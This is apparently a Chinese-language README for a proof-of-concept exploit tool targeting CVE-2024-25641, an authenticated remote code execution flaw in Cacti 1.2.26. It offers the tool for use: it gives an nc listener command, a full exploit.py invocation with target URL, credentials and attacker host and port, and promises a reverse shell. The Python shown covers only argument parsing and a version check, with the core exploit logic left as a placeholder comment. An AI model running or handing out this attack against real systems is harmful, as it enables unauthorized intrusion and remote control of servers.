Cacti 1.2.26 认证远程代码执行 (RCE) 漏洞利用工具

2 阅读3分钟

Cacti 1.2.26 - 认证远程代码执行 (RCE) 漏洞利用工具

本项目是一个针对 Cacti 1.2.26 版本中 CVE-2024-25641 漏洞的概念验证 (POC) 利用工具。该漏洞存在于 import_package() 函数中,允许拥有特定权限的认证用户在目标服务器上执行任意代码。

功能特性

  • 认证利用:需要提供有效的Cacti用户名和密码进行身份验证。
  • 自动化漏洞利用:自动执行登录、构建恶意包、上传并触发RCE的全过程。
  • 反向Shell:利用漏洞在目标服务器上执行PHP代码,反向连接到攻击者指定的主机和端口。
  • 版本检测:在利用前,会检查目标站点的版本是否为受影响的1.2.26版本。
  • 灵活配置:通过命令行参数指定目标URL、认证信息、监听地址和端口,支持详细输出模式。

安装指南

系统要求

  • Python 3.x
  • 支持的网络环境以访问目标Cacti站点

依赖项安装

本项目依赖于几个Python库,包括 requestsbeautifulsoup4cryptography。可以使用 pip 进行安装:

pip install requests beautifulsoup4 cryptography

使用说明

基础用法

  1. 启动监听器:在您的攻击机上启动一个netcat监听器,等待目标服务器的反向连接。

    nc -lvnp <LPORT>
    
  2. 运行利用脚本:使用以下命令格式执行脚本,并替换相应的参数。

    python3 exploit.py --url <目标URL> --user <用户名> --password <密码> --lhost <您的IP> --lport <监听端口> [--verbose]
    

参数说明

参数说明是否必须
--url目标Cacti站点的URL地址
--userCacti用户名
--password对应用户的密码
--lhost接收反向Shell的本地主机IP地址
--lport接收反向Shell的本地端口号
--verbose启用详细输出模式,显示更多调试信息
-h, --help显示帮助信息

使用示例

假设目标Cacti站点位于 http://192.168.1.100/cacti,您的监听IP为 192.168.1.50,监听端口为 4444

# 1. 启动监听器
nc -lvnp 4444

# 2. 在另一个终端执行漏洞利用
python3 exploit.py --url http://192.168.1.100/cacti --user admin --password password123 --lhost 192.168.1.50 --lport 4444 --verbose

如果利用成功,您将在netcat监听器中看到一个来自目标服务器的反向Shell。

核心代码

以下是该漏洞利用工具的核心代码片段,展示了主要的功能实现。

import os
import requests
import base64
import gzip
import time
import argparse
import string
import random
from bs4 import BeautifulSoup
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization

def get_random_string(length):
    """生成指定长度的随机字符串,用于文件名或临时变量"""
    letters = string.ascii_lowercase
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str

def check_version(url_to_check):
    """检查目标站点的版本是否为1.2.26"""
    r = requests.get(url_to_check)
    response = r.text

    if "Cacti CHANGELOG" in response and "1.2.26" in response and "1.2.27" not in response:
        print("[+] Version seems to be 1.2.26")
    else:
        print("[-] Version doesn't seem to be 1.2.26, proceeding anyway")


# Main function
if __name__ == '__main__':
    # 解析命令行参数
    p = argparse.ArgumentParser(description="CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE")
    p.add_argument('--url', help="URL of the Cacti web root", required=True)
    p.add_argument('--user', help="username to log in", required=True)
    p.add_argument('--password', help="password of the username", required=True)
    p.add_argument('--lhost', help="local host to receive the reverse shell", required=True)
    p.add_argument('--lport', help="local port to receive the reverse shell", required=True)
    p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False)

    parser = p.parse_args()

    url = parser.url
    username = parser.user
    password = parser.password
    lhost = parser.lhost
    lport = parser.lport
    verbose = parser.verbose

    # 确保URL末尾没有多余的斜杠
    url = url.rstrip("/")

    # 以下是漏洞利用的核心逻辑(示例占位)
    # 1. 进行身份验证,获取会话Cookie
    # 2. 访问包导入功能,上传精心构造的恶意包
    # 3. 触发上传的PHP代码,执行反向Shell
    print(f"[*] Attempting to exploit {url} as user {username}...")
    # ... (完整的利用逻辑,包括登录、构建RSA密钥、生成恶意XML、上传和触发)

6HFtX5dABrKlqXeO5PUv/33tq8l8j3fmOqK3nEsbDfc=